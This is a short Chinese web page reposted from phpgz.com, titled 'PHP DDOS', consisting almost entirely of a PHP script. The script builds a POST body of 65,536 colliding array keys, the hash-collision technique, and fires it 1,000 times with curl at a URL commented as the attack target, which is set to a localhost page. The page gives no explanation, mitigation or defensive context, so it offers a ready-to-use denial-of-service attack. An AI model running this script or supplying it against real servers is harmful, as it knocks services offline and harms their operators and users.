PHP DDOS(高斯炮)

字体大小: 中小 标准 ->行高大小: 标准

<?php
02
$size = pow(2, 16);
03
$data = "";
04
 
05
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
06
    $data .= $key."=0&";
07
}
08
 
09
$url = "http://localhost/gaoshi.php";// 攻击目标
10
$ch = curl_init();
11
curl_setopt($ch, CURLOPT_HEADER, 0);
12
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
13
curl_setopt($ch, CURLOPT_URL, $url);
14
curl_setopt($ch, CURLOPT_POST, 1);
15
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
16
 
17
for ($i = 0; $i < 1000; ++$i) {
18
    curl_exec($ch);
19
}
20
curl_close($ch);
21
?>

此文章由 www.phpgz.com 收集整理 ,地址为: http://www.phpgz.com/htmls/29905.html

大屏阅读,大屏评论.